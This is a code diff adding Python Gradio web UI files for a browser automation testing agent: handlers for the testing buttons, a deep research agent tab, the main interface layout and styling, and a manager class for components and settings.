+                        "content": f"✅ Comprehensive intelligent testing complete!\n\n📊 Summary:\n- AI Analysis: {'✅' if summary.get('ai_analysis_success') else '❌'}\n- Form Testing: {'✅' if summary.get('form_testing_success') else '❌'}\n- Credential Testing: {'✅' if summary.get('credential_testing_success') else '❌'}\n\nAll intelligent testing features have been executed. Check the detailed results above."
+                    })
+            else:
+                webui_manager.bu_chat_history.append({
+                    "role": "assistant", 
+                    "content": "❌ Comprehensive intelligent testing not available. Please run a regular task first to initialize the agent."
+                })
+        except Exception as e:
+            webui_manager.bu_chat_history.append({
+                "role": "assistant", 
+                "content": f"❌ Error in comprehensive testing: {str(e)}"
+            })
+        
+        yield {chatbot: webui_manager.bu_chat_history}
+
+    # --- Connect Event Handlers using the Wrappers --
+    run_button.click(
+        fn=submit_wrapper, inputs=all_managed_components, outputs=run_tab_outputs, trigger_mode="multiple"
+    )
+    user_input.submit(
+        fn=submit_wrapper, inputs=all_managed_components, outputs=run_tab_outputs
+    )
+    stop_button.click(fn=stop_wrapper, inputs=None, outputs=run_tab_outputs)
+    pause_resume_button.click(
+        fn=pause_resume_wrapper, inputs=None, outputs=run_tab_outputs
+    )
+    clear_button.click(fn=clear_wrapper, inputs=None, outputs=run_tab_outputs)
+    
+    # Intelligent Testing Button Handlers
+    intelligent_form_test_btn.click(fn=intelligent_form_test_wrapper, inputs=None, outputs=run_tab_outputs)
+    intelligent_credential_test_btn.click(fn=intelligent_credential_test_wrapper, inputs=None, outputs=run_tab_outputs)
+    ai_analysis_btn.click(fn=ai_analysis_wrapper, inputs=None, outputs=run_tab_outputs)
+    comprehensive_test_btn.click(fn=comprehensive_test_wrapper, inputs=None, outputs=run_tab_outputs)

src/webui/components/deep_research_agent_tab.py

@@ -0,0 +1,457 @@
+import gradio as gr
+from gradio.components import Component
+from functools import partial
+
+from src.webui.webui_manager import WebuiManager
+from src.utils import config
+import logging
+import os
+from typing import Any, Dict, AsyncGenerator, Optional, Tuple, Union
+import asyncio
+import json
+from src.agent.deep_research.deep_research_agent import DeepResearchAgent
+from src.utils import llm_provider
+
+logger = logging.getLogger(__name__)
+
+
+async def _initialize_llm(provider: Optional[str], model_name: Optional[str], temperature: float,
+                          base_url: Optional[str], api_key: Optional[str], num_ctx: Optional[int] = None):
+    """Initializes the LLM based on settings. Returns None if provider/model is missing."""
+    if not provider or not model_name:
+        logger.info("LLM Provider or Model Name not specified, LLM will be None.")
+        return None
+    try:
+        logger.info(f"Initializing LLM: Provider={provider}, Model={model_name}, Temp={temperature}")
+        # Use your actual LLM provider logic here
+        llm = llm_provider.get_llm_model(
+            provider=provider,
+            model_name=model_name,
+            temperature=temperature,
+            base_url=base_url or None,
+            api_key=api_key or None,
+            num_ctx=num_ctx if provider == "ollama" else None
+        )
+        return llm
+    except Exception as e:
+        logger.error(f"Failed to initialize LLM: {e}", exc_info=True)
+        gr.Warning(
+            f"Failed to initialize LLM '{model_name}' for provider '{provider}'. Please check settings. Error: {e}")
+        return None
+
+
+def _read_file_safe(file_path: str) -> Optional[str]:
+    """Safely read a file, returning None if it doesn't exist or on error."""
+    if not os.path.exists(file_path):
+        return None
+    try:
+        with open(file_path, 'r', encoding='utf-8') as f:
+            return f.read()
+    except Exception as e:
+        logger.error(f"Error reading file {file_path}: {e}")
+        return None
+
+
+# --- Deep Research Agent Specific Logic ---
+
+async def run_deep_research(webui_manager: WebuiManager, components: Dict[Component, Any]) -> AsyncGenerator[
+    Dict[Component, Any], None]:
+    """Handles initializing and running the DeepResearchAgent."""
+
+    # --- Get Components ---
+    research_task_comp = webui_manager.get_component_by_id("deep_research_agent.research_task")
+    resume_task_id_comp = webui_manager.get_component_by_id("deep_research_agent.resume_task_id")
+    parallel_num_comp = webui_manager.get_component_by_id("deep_research_agent.parallel_num")
+    save_dir_comp = webui_manager.get_component_by_id(
+        "deep_research_agent.max_query")  # Note: component ID seems misnamed in original code
+    start_button_comp = webui_manager.get_component_by_id("deep_research_agent.start_button")
+    stop_button_comp = webui_manager.get_component_by_id("deep_research_agent.stop_button")
+    markdown_display_comp = webui_manager.get_component_by_id("deep_research_agent.markdown_display")
+    markdown_download_comp = webui_manager.get_component_by_id("deep_research_agent.markdown_download")
+    mcp_server_config_comp = webui_manager.get_component_by_id("deep_research_agent.mcp_server_config")
+
+    # --- 1. Get Task and Settings ---
+    task_topic = components.get(research_task_comp, "").strip()
+    task_id_to_resume = components.get(resume_task_id_comp, "").strip() or None
+    max_parallel_agents = int(components.get(parallel_num_comp, 1))
+    base_save_dir = components.get(save_dir_comp, "./tmp/deep_research").strip()
+    safe_root_dir = "./tmp/deep_research"
+    normalized_base_save_dir = os.path.abspath(os.path.normpath(base_save_dir))
+    if os.path.commonpath([normalized_base_save_dir, os.path.abspath(safe_root_dir)]) != os.path.abspath(safe_root_dir):
+        logger.warning(f"Unsafe base_save_dir detected: {base_save_dir}. Using default directory.")
+        normalized_base_save_dir = os.path.abspath(safe_root_dir)
+    base_save_dir = normalized_base_save_dir
+    mcp_server_config_str = components.get(mcp_server_config_comp)
+    mcp_config = json.loads(mcp_server_config_str) if mcp_server_config_str else None
+
+    if not task_topic:
+        gr.Warning("Please enter a research task.")
+        yield {start_button_comp: gr.update(interactive=True)}  # Re-enable start button
+        return
+
+    # Store base save dir for stop handler
+    webui_manager.dr_save_dir = base_save_dir
+    os.makedirs(base_save_dir, exist_ok=True)
+
+    # --- 2. Initial UI Update ---
+    yield {
+        start_button_comp: gr.update(value="⏳ Running...", interactive=False),
+        stop_button_comp: gr.update(interactive=True),
+        research_task_comp: gr.update(interactive=False),
+        resume_task_id_comp: gr.update(interactive=False),
+        parallel_num_comp: gr.update(interactive=False),
+        save_dir_comp: gr.update(interactive=False),
+        markdown_display_comp: gr.update(value="Starting research..."),
+        markdown_download_comp: gr.update(value=None, interactive=False)
+    }
+
+    agent_task = None
+    running_task_id = None
+    plan_file_path = None
+    report_file_path = None
+    last_plan_content = None
+    last_plan_mtime = 0
+
+    try:
+        # --- 3. Get LLM and Browser Config from other tabs ---
+        # Access settings values via components dict, getting IDs from webui_manager
+        def get_setting(tab: str, key: str, default: Any = None):
+            comp = webui_manager.id_to_component.get(f"{tab}.{key}")
+            return components.get(comp, default) if comp else default
+
+        # LLM Config (from agent_settings tab)
+        llm_provider_name = get_setting("agent_settings", "llm_provider")
+        llm_model_name = get_setting("agent_settings", "llm_model_name")
+        llm_temperature = max(get_setting("agent_settings", "llm_temperature", 0.5), 0.5)
+        llm_base_url = get_setting("agent_settings", "llm_base_url")
+        llm_api_key = get_setting("agent_settings", "llm_api_key")
+        ollama_num_ctx = get_setting("agent_settings", "ollama_num_ctx")
+
+        llm = await _initialize_llm(
+            llm_provider_name, llm_model_name, llm_temperature, llm_base_url, llm_api_key,
+            ollama_num_ctx if llm_provider_name == "ollama" else None
+        )
+        if not llm:
+            raise ValueError("LLM Initialization failed. Please check Agent Settings.")
+
+        # Browser Config (from browser_settings tab)
+        # Note: DeepResearchAgent constructor takes a dict, not full Browser/Context objects
+        browser_config_dict = {
+            "headless": get_setting("browser_settings", "headless", False),
+            "disable_security": get_setting("browser_settings", "disable_security", False),
+            "browser_binary_path": get_setting("browser_settings", "browser_binary_path"),
+            "user_data_dir": get_setting("browser_settings", "browser_user_data_dir"),
+            "window_width": int(get_setting("browser_settings", "window_w", 1280)),
+            "window_height": int(get_setting("browser_settings", "window_h", 1100)),
+            # Add other relevant fields if DeepResearchAgent accepts them
+        }
+
+        # --- 4. Initialize or Get Agent ---
+        if not webui_manager.dr_agent:
+            webui_manager.dr_agent = DeepResearchAgent(
+                llm=llm,
+                browser_config=browser_config_dict,
+                mcp_server_config=mcp_config
+            )
+            logger.info("DeepResearchAgent initialized.")
+
+        # --- 5. Start Agent Run ---
+        agent_run_coro = webui_manager.dr_agent.run(
+            topic=task_topic,
+            task_id=task_id_to_resume,
+            save_dir=base_save_dir,
+            max_parallel_browsers=max_parallel_agents
+        )
+        agent_task = asyncio.create_task(agent_run_coro)
+        webui_manager.dr_current_task = agent_task
+
+        # Wait briefly for the agent to start and potentially create the task ID/folder
+        await asyncio.sleep(1.0)
+
+        # Determine the actual task ID being used (agent sets this)
+        running_task_id = webui_manager.dr_agent.current_task_id
+        if not running_task_id:
+            # Agent might not have set it yet, try to get from result later? Risky.
+            # Or derive from resume_task_id if provided?
+            running_task_id = task_id_to_resume
+            if not running_task_id:
+                logger.warning("Could not determine running task ID immediately.")
+                # We can still monitor, but might miss initial plan if ID needed for path
+            else:
+                logger.info(f"Assuming task ID based on resume ID: {running_task_id}")
+        else:
+            logger.info(f"Agent started with Task ID: {running_task_id}")
+
+        webui_manager.dr_task_id = running_task_id  # Store for stop handler
+
+        # --- 6. Monitor Progress via research_plan.md ---
+        if running_task_id:
+            task_specific_dir = os.path.join(base_save_dir, str(running_task_id))
+            plan_file_path = os.path.join(task_specific_dir, "research_plan.md")
+            report_file_path = os.path.join(task_specific_dir, "report.md")
+            logger.info(f"Monitoring plan file: {plan_file_path}")
+        else:
+            logger.warning("Cannot monitor plan file: Task ID unknown.")
+            plan_file_path = None
+        last_plan_content = None
+        while not agent_task.done():
+            update_dict = {}
+            update_dict[resume_task_id_comp] = gr.update(value=running_task_id)
+            agent_stopped = getattr(webui_manager.dr_agent, 'stopped', False)
+            if agent_stopped:
+                logger.info("Stop signal detected from agent state.")
+                break  # Exit monitoring loop
+
+            # Check and update research plan display
+            if plan_file_path:
+                try:
+                    current_mtime = os.path.getmtime(plan_file_path) if os.path.exists(plan_file_path) else 0
+                    if current_mtime > last_plan_mtime:
+                        logger.info(f"Detected change in {plan_file_path}")
+                        plan_content = _read_file_safe(plan_file_path)
+                        if last_plan_content is None or (
+                                plan_content is not None and plan_content != last_plan_content):
+                            update_dict[markdown_display_comp] = gr.update(value=plan_content)
+                            last_plan_content = plan_content
+                            last_plan_mtime = current_mtime
+                        elif plan_content is None:
+                            # File might have been deleted or became unreadable
+                            last_plan_mtime = 0  # Reset to force re-read attempt later
+                except Exception as e:
+                    logger.warning(f"Error checking/reading plan file {plan_file_path}: {e}")
+                    # Avoid continuous logging for the same error
+                    await asyncio.sleep(2.0)
+
+            # Yield updates if any
+            if update_dict:
+                yield update_dict
+
+            await asyncio.sleep(1.0)  # Check file changes every second
+
+        # --- 7. Task Finalization ---
+        logger.info("Agent task processing finished. Awaiting final result...")
+        final_result_dict = await agent_task  # Get result or raise exception
+        logger.info(f"Agent run completed. Result keys: {final_result_dict.keys() if final_result_dict else 'None'}")
+
+        # Try to get task ID from result if not known before
+        if not running_task_id and final_result_dict and 'task_id' in final_result_dict:
+            running_task_id = final_result_dict['task_id']
+            webui_manager.dr_task_id = running_task_id
+            task_specific_dir = os.path.join(base_save_dir, str(running_task_id))
+            report_file_path = os.path.join(task_specific_dir, "report.md")
+            logger.info(f"Task ID confirmed from result: {running_task_id}")
+
+        final_ui_update = {}
+        if report_file_path and os.path.exists(report_file_path):
+            logger.info(f"Loading final report from: {report_file_path}")
+            report_content = _read_file_safe(report_file_path)
+            if report_content:
+                final_ui_update[markdown_display_comp] = gr.update(value=report_content)
+                final_ui_update[markdown_download_comp] = gr.File(value=report_file_path,
+                                                                  label=f"Report ({running_task_id}.md)",
+                                                                  interactive=True)
+            else:
+                final_ui_update[markdown_display_comp] = gr.update(
+                    value="# Research Complete\n\n*Error reading final report file.*")
+        elif final_result_dict and 'report' in final_result_dict:
+            logger.info("Using report content directly from agent result.")
+            # If agent directly returns report content
+            final_ui_update[markdown_display_comp] = gr.update(value=final_result_dict['report'])
+            # Cannot offer download if only content is available
+            final_ui_update[markdown_download_comp] = gr.update(value=None, label="Download Research Report",
+                                                                interactive=False)
+        else:
+            logger.warning("Final report file not found and not in result dict.")
+            final_ui_update[markdown_display_comp] = gr.update(value="# Research Complete\n\n*Final report not found.*")
+
+        yield final_ui_update
+
+
+    except Exception as e:
+        logger.error(f"Error during Deep Research Agent execution: {e}", exc_info=True)
+        gr.Error(f"Research failed: {e}")
+        yield {markdown_display_comp: gr.update(value=f"# Research Failed\n\n**Error:**\n```\n{e}\n```")}
+
+    finally:
+        # --- 8. Final UI Reset ---
+        webui_manager.dr_current_task = None  # Clear task reference
+        webui_manager.dr_task_id = None  # Clear running task ID
+
+        yield {
+            start_button_comp: gr.update(value="▶️ Run", interactive=True),
+            stop_button_comp: gr.update(interactive=False),
+            research_task_comp: gr.update(interactive=True),
+            resume_task_id_comp: gr.update(value="", interactive=True),
+            parallel_num_comp: gr.update(interactive=True),
+            save_dir_comp: gr.update(interactive=True),
+            # Keep download button enabled if file exists
+            markdown_download_comp: gr.update() if report_file_path and os.path.exists(report_file_path) else gr.update(
+                interactive=False)
+        }
+
+
+async def stop_deep_research(webui_manager: WebuiManager) -> Dict[Component, Any]:
+    """Handles the Stop button click."""
+    logger.info("Stop button clicked for Deep Research.")
+    agent = webui_manager.dr_agent
+    task = webui_manager.dr_current_task
+    task_id = webui_manager.dr_task_id
+    base_save_dir = webui_manager.dr_save_dir
+
+    stop_button_comp = webui_manager.get_component_by_id("deep_research_agent.stop_button")
+    start_button_comp = webui_manager.get_component_by_id("deep_research_agent.start_button")
+    markdown_display_comp = webui_manager.get_component_by_id("deep_research_agent.markdown_display")
+    markdown_download_comp = webui_manager.get_component_by_id("deep_research_agent.markdown_download")
+
+    final_update = {
+        stop_button_comp: gr.update(interactive=False, value="⏹️ Stopping...")
+    }
+
+    if agent and task and not task.done():
+        logger.info("Signalling DeepResearchAgent to stop.")
+        try:
+            # Assuming stop is synchronous or sets a flag quickly
+            await agent.stop()
+        except Exception as e:
+            logger.error(f"Error calling agent.stop(): {e}")
+
+        # The run_deep_research loop should detect the stop and exit.
+        # We yield an intermediate "Stopping..." state. The final reset is done by run_deep_research.
+
+        # Try to show the final report if available after stopping
+        await asyncio.sleep(1.5)  # Give agent a moment to write final files potentially
+        report_file_path = None
+        if task_id and base_save_dir:
+            report_file_path = os.path.join(base_save_dir, str(task_id), "report.md")
+
+        if report_file_path and os.path.exists(report_file_path):
+            report_content = _read_file_safe(report_file_path)
+            if report_content:
+                final_update[markdown_display_comp] = gr.update(
+                    value=report_content + "\n\n---\n*Research stopped by user.*")
+                final_update[markdown_download_comp] = gr.File(value=report_file_path, label=f"Report ({task_id}.md)",
+                                                               interactive=True)
+            else:
+                final_update[markdown_display_comp] = gr.update(
+                    value="# Research Stopped\n\n*Error reading final report file after stop.*")
+        else:
+            final_update[markdown_display_comp] = gr.update(value="# Research Stopped by User")
+
+        # Keep start button disabled, run_deep_research finally block will re-enable it.
+        final_update[start_button_comp] = gr.update(interactive=False)
+
+    else:
+        logger.warning("Stop clicked but no active research task found.")
+        # Reset UI state just in case
+        final_update = {
+            start_button_comp: gr.update(interactive=True),
+            stop_button_comp: gr.update(interactive=False),
+            webui_manager.get_component_by_id("deep_research_agent.research_task"): gr.update(interactive=True),
+            webui_manager.get_component_by_id("deep_research_agent.resume_task_id"): gr.update(interactive=True),
+            webui_manager.get_component_by_id("deep_research_agent.max_iteration"): gr.update(interactive=True),
+            webui_manager.get_component_by_id("deep_research_agent.max_query"): gr.update(interactive=True),
+        }
+
+    return final_update
+
+
+async def update_mcp_server(mcp_file: str, webui_manager: WebuiManager):
+    """
+    Update the MCP server.
+    """
+    if hasattr(webui_manager, "dr_agent") and webui_manager.dr_agent:
+        logger.warning("⚠️ Close controller because mcp file has changed!")
+        await webui_manager.dr_agent.close_mcp_client()
+
+    if not mcp_file or not os.path.exists(mcp_file) or not mcp_file.endswith('.json'):
+        logger.warning(f"{mcp_file} is not a valid MCP file.")
+        return None, gr.update(visible=False)
+
+    with open(mcp_file, 'r') as f:
+        mcp_server = json.load(f)
+
+    return json.dumps(mcp_server, indent=2), gr.update(visible=True)
+
+
+def create_deep_research_agent_tab(webui_manager: WebuiManager):
+    """
+    Creates a deep research agent tab
+    """
+    input_components = set(webui_manager.get_components())
+    tab_components = {}
+
+    with gr.Group():
+        with gr.Row():
+            mcp_json_file = gr.File(label="MCP server json", interactive=True, file_types=[".json"])
+            mcp_server_config = gr.Textbox(label="MCP server", lines=6, interactive=True, visible=False)
+
+    with gr.Group():
+        research_task = gr.Textbox(label="Research Task", lines=5,
+                                   value="Give me a detailed travel plan to Switzerland from June 1st to 10th.",
+                                   interactive=True)
+        with gr.Row():
+            resume_task_id = gr.Textbox(label="Resume Task ID", value="",
+                                        interactive=True)
+            parallel_num = gr.Number(label="Parallel Agent Num", value=1,
+                                     precision=0,
+                                     interactive=True)
+            max_query = gr.Textbox(label="Research Save Dir", value="./tmp/deep_research",
+                                   interactive=True)
+    with gr.Row():
+        stop_button = gr.Button("⏹️ Stop", variant="stop", scale=2)
+        start_button = gr.Button("▶️ Run", variant="primary", scale=3)
+    with gr.Group():
+        markdown_display = gr.Markdown(label="Research Report")
+        markdown_download = gr.File(label="Download Research Report", interactive=False)
+    tab_components.update(
+        dict(
+            research_task=research_task,
+            parallel_num=parallel_num,
+            max_query=max_query,
+            start_button=start_button,
+            stop_button=stop_button,
+            markdown_display=markdown_display,
+            markdown_download=markdown_download,
+            resume_task_id=resume_task_id,
+            mcp_json_file=mcp_json_file,
+            mcp_server_config=mcp_server_config,
+        )
+    )
+    webui_manager.add_components("deep_research_agent", tab_components)
+    webui_manager.init_deep_research_agent()
+
+    async def update_wrapper(mcp_file):
+        """Wrapper for handle_pause_resume."""
+        update_dict = await update_mcp_server(mcp_file, webui_manager)
+        yield update_dict
+
+    mcp_json_file.change(
+        update_wrapper,
+        inputs=[mcp_json_file],
+        outputs=[mcp_server_config, mcp_server_config]
+    )
+
+    dr_tab_outputs = list(tab_components.values())
+    all_managed_inputs = set(webui_manager.get_components())
+
+    # --- Define Event Handler Wrappers ---
+    async def start_wrapper(comps: Dict[Component, Any]) -> AsyncGenerator[Dict[Component, Any], None]:
+        async for update in run_deep_research(webui_manager, comps):
+            yield update
+
+    async def stop_wrapper() -> AsyncGenerator[Dict[Component, Any], None]:
+        update_dict = await stop_deep_research(webui_manager)
+        yield update_dict
+
+    # --- Connect Handlers ---
+    start_button.click(
+        fn=start_wrapper,
+        inputs=all_managed_inputs,
+        outputs=dr_tab_outputs
+    )
+
+    stop_button.click(
+        fn=stop_wrapper,
+        inputs=None,
+        outputs=dr_tab_outputs
+    )

src/webui/interface.py

@@ -0,0 +1,179 @@
+"""
+🤖 Fagun Browser Automation Testing Agent - Web Interface
+=========================================================
+
+Web UI components for the Fagun Browser Automation Testing Agent.
+
+Author: Mejbaur Bahar Fagun
+Role: Software Engineer in Test
+LinkedIn: https://www.linkedin.com/in/mejbaur/
+"""
+
+import gradio as gr
+
+from src.webui.webui_manager import WebuiManager
+from src.webui.components.agent_settings_tab import create_agent_settings_tab
+from src.webui.components.browser_settings_tab import create_browser_settings_tab
+from src.webui.components.browser_use_agent_tab import create_browser_use_agent_tab
+
+theme_map = {
+    "Default": gr.themes.Default(),
+    "Soft": gr.themes.Soft(),
+    "Monochrome": gr.themes.Monochrome(),
+    "Glass": gr.themes.Glass(),
+    "Origin": gr.themes.Origin(),
+    "Citrus": gr.themes.Citrus(),
+    "Ocean": gr.themes.Ocean(),
+    "Base": gr.themes.Base()
+}
+
+
+def create_ui(theme_name="Ocean"):
+    css = """
+    .gradio-container {
+        width: 70vw !important; 
+        max-width: 70% !important; 
+        margin-left: auto !important;
+        margin-right: auto !important;
+        padding-top: 100px !important;
+    }
+    .header-text {
+        text-align: center;
+        margin-bottom: 20px;
+        position: fixed !important;
+        top: 0 !important;
+        left: 0 !important;
+        right: 0 !important;
+        z-index: 1000 !important;
+        background-color: var(--body-background-fill) !important;
+        padding: 20px 0 !important;
+        border-bottom: 2px solid var(--border-color-primary) !important;
+        box-shadow: 0 2px 4px rgba(0,0,0,0.1) !important;
+        line-height: 1.2 !important;
+    }
+    .header-text h1 {
+        margin: 0 0 10px 0 !important;
+        font-size: 2.5em !important;
+        line-height: 1.1 !important;
+    }
+    .header-text h3 {
+        margin: 0 !important;
+        font-size: 1.2em !important;
+        line-height: 1.2 !important;
+        opacity: 0.9 !important;
+    }
+    .tab-header-text {
+        text-align: center;
+    }
+    .theme-section {
+        margin-bottom: 10px;
+        padding: 15px;
+        border-radius: 10px;
+    }
+    /* Hide default Gradio footer */
+    .gradio-container footer {
+        display: none !important;
+    }
+    .gradio-container .footer {
+        display: none !important;
+    }
+    /* Override hide-container behavior for header */
+    .hide-container {
+        display: block !important;
+        visibility: visible !important;
+        opacity: 1 !important;
+    }
+    /* Ensure header is always visible */
+    .header-text, .header-text * {
+        display: block !important;
+        visibility: visible !important;
+        opacity: 1 !important;
+        position: fixed !important;
+        top: 0 !important;
+        left: 0 !important;
+        right: 0 !important;
+        z-index: 1000 !important;
+    }
+    /* Override any Gradio hiding classes for header */
+    .header-text.hide-container,
+    .header-text.svelte-11xb1hd,
+    .header-text.padded,
+    .header-text.auto-margin {
+        display: block !important;
+        visibility: visible !important;
+        opacity: 1 !important;
+        position: fixed !important;
+        top: 0 !important;
+        left: 0 !important;
+        right: 0 !important;
+        z-index: 1000 !important;
+    }
+    """
+
+    # dark mode in default
+    js_func = """
+    function refresh() {
+        const url = new URL(window.location);
+
+        if (url.searchParams.get('__theme') !== 'dark') {
+            url.searchParams.set('__theme', 'dark');
+            window.location.href = url.href;
+        }
+    }
+    """
+
+    ui_manager = WebuiManager()
+
+    with gr.Blocks(
+            title="Fagun Browser Automation Testing Agent", theme=theme_map[theme_name], css=css, js=js_func,
+            head="""
+            <link rel="icon" href="data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22 viewBox=%220 0 100 100%22><text y=%22.9em%22 font-size=%2290%22>🤖</text></svg>">
+            <meta name="viewport" content="width=device-width, initial-scale=1.0">
+            """,
+    ) as demo:
+        with gr.Row():
+            gr.Markdown(
+                """
+                # 🤖 Fagun Browser Automation Testing Agent
+                """,
+                elem_classes=["header-text"],
+            )
+
+        with gr.Tabs() as tabs:
+            with gr.TabItem("⚙️ Agent Settings"):
+                create_agent_settings_tab(ui_manager)
+
+            with gr.TabItem("🌐 Browser Settings"):
+                create_browser_settings_tab(ui_manager)
+
+            with gr.TabItem("🤖 Run Agent"):
+                create_browser_use_agent_tab(ui_manager)
+
+        # Custom Footer
+        with gr.Row():
+            gr.HTML(
+                """
+                <div style="text-align: center; margin-top: 20px; padding: 10px; border-top: 1px solid #ccc;">
+                    <p style="margin: 5px 0;">
+                        <a href="https://www.linkedin.com/in/mejbaur/" target="_blank" style="text-decoration: none; color: #0077b5;">
+                            Connect with Builder
+                        </a>
+                    </p>
+                    <p style="margin: 5px 0; font-weight: bold; font-size: 1.1em; background: linear-gradient(45deg, #ff6b6b, #4ecdc4, #45b7d1, #96ceb4, #feca57, #ff9ff3, #54a0ff); background-size: 400% 400%; -webkit-background-clip: text; -webkit-text-fill-color: transparent; background-clip: text; animation: gradientShift 3s ease-in-out infinite;">
+                        Mejbaur Bahar Fagun
+                    </p>
+                    <p style="margin: 5px 0; color: #666; font-size: 0.9em;">
+                        Software Engineer in Test
+                    </p>
+                </div>
+                <style>
+                    @keyframes gradientShift {
+                        0% { background-position: 0% 50%; }
+                        50% { background-position: 100% 50%; }
+                        100% { background-position: 0% 50%; }
+                    }
+                </style>
+                """
+            )
+
+    return demo

src/webui/webui_manager.py

@@ -0,0 +1,146 @@
+"""
+🤖 Fagun Browser Automation Testing Agent - WebUI Manager
+=========================================================
+
+Core management system for the Fagun Browser Automation Testing Agent.
+
+Author: Mejbaur Bahar Fagun
+Role: Software Engineer in Test
+LinkedIn: https://www.linkedin.com/in/mejbaur/
+"""
+
+import json
+from collections.abc import Generator
+from typing import TYPE_CHECKING
+import os
+import gradio as gr
+from datetime import datetime
+from typing import Optional, Dict, List
+import uuid
+import asyncio
+import time
+
+from gradio.components import Component
+from browser_use.browser.browser import Browser
+from browser_use.browser.context import BrowserContext
+from browser_use.agent.service import Agent
+from src.browser.custom_browser import CustomBrowser
+from src.browser.custom_context import CustomBrowserContext
+from src.controller.custom_controller import CustomController
+from src.agent.deep_research.deep_research_agent import DeepResearchAgent
+
+
+class WebuiManager:
+    def __init__(self, settings_save_dir: str = "./tmp/webui_settings"):
+        self.id_to_component: dict[str, Component] = {}
+        self.component_to_id: dict[Component, str] = {}
+
+        self.settings_save_dir = settings_save_dir
+        os.makedirs(self.settings_save_dir, exist_ok=True)
+
+    def init_browser_use_agent(self) -> None:
+        """
+        init browser use agent
+        """
+        self.bu_agent: Optional[Agent] = None
+        self.bu_browser: Optional[CustomBrowser] = None
+        self.bu_browser_context: Optional[CustomBrowserContext] = None
+        self.bu_controller: Optional[CustomController] = None
+        self.bu_chat_history: List[Dict[str, Optional[str]]] = []
+        self.bu_response_event: Optional[asyncio.Event] = None
+        self.bu_last_pdf_report: Optional[str] = None
+        self.bu_user_help_response: Optional[str] = None
+        self.bu_current_task: Optional[asyncio.Task] = None
+        self.bu_agent_task_id: Optional[str] = None
+
+    def init_deep_research_agent(self) -> None:
+        """
+        init deep research agent
+        """
+        self.dr_agent: Optional[DeepResearchAgent] = None
+        self.dr_current_task = None
+        self.dr_agent_task_id: Optional[str] = None
+        self.dr_save_dir: Optional[str] = None
+
+    def add_components(self, tab_name: str, components_dict: dict[str, "Component"]) -> None:
+        """
+        Add tab components
+        """
+        for comp_name, component in components_dict.items():
+            comp_id = f"{tab_name}.{comp_name}"
+            self.id_to_component[comp_id] = component
+            self.component_to_id[component] = comp_id
+
+    def get_components(self) -> list["Component"]:
+        """
+        Get all components
+        """
+        return list(self.id_to_component.values())
+
+    def get_component_by_id(self, comp_id: str) -> "Component":
+        """
+        Get component by id
+        """
+        return self.id_to_component[comp_id]
+
+    def get_id_by_component(self, comp: "Component") -> str:
+        """
+        Get id by component
+        """
+        return self.component_to_id[comp]
+
+    def save_config(self, components: Dict["Component", str]) -> None:
+        """
+        Save config
+        """
+        cur_settings = {}
+        for comp in components:
+            if not isinstance(comp, gr.Button) and not isinstance(comp, gr.File) and str(
+                    getattr(comp, "interactive", True)).lower() != "false":
+                comp_id = self.get_id_by_component(comp)
+                cur_settings[comp_id] = components[comp]
+
+        config_name = datetime.now().strftime("%Y%m%d-%H%M%S")
+        with open(os.path.join(self.settings_save_dir, f"{config_name}.json"), "w") as fw:
+            json.dump(cur_settings, fw, indent=4)
+
+        return os.path.join(self.settings_save_dir, f"{config_name}.json")
+
+    def load_config(self, config_path: str):
+        """
+        Load config
+        """
+        with open(config_path, "r") as fr:
+            ui_settings = json.load(fr)
+
+        update_components = {}
+        for comp_id, comp_val in ui_settings.items():
+            if comp_id in self.id_to_component:
+                comp = self.id_to_component[comp_id]
+                if comp.__class__.__name__ == "Chatbot":
+                    update_components[comp] = comp.__class__(value=comp_val, type="messages")
+                else:
+                    update_components[comp] = comp.__class__(value=comp_val)
+                    if comp_id == "agent_settings.planner_llm_provider":
+                        yield update_components  # yield provider, let callback run
+                        time.sleep(0.1)  # wait for Gradio UI callback
+
+        # Note: load_save_config component was removed from the interface
+        yield update_components
+    
+    def update_pdf_report_status(self, report_path: Optional[str] = None, status_message: str = "Report will be generated automatically after testing completion"):
+        """Update the PDF report status and file."""
+        update_components = {}
+        
+        # Update report status
+        if "browser_use_agent.auto_report_status" in self.id_to_component:
+            status_comp = self.id_to_component["browser_use_agent.auto_report_status"]
+            update_components[status_comp] = status_comp.__class__(value=status_message)
+        
+        # Update report file if path is provided
+        if report_path and "browser_use_agent.auto_pdf_report" in self.id_to_component:
+            report_comp = self.id_to_component["browser_use_agent.auto_pdf_report"]
+            update_components[report_comp] = report_comp.__class__(value=report_path, visible=True)
+            self.bu_last_pdf_report = report_path
+        
+        return update_components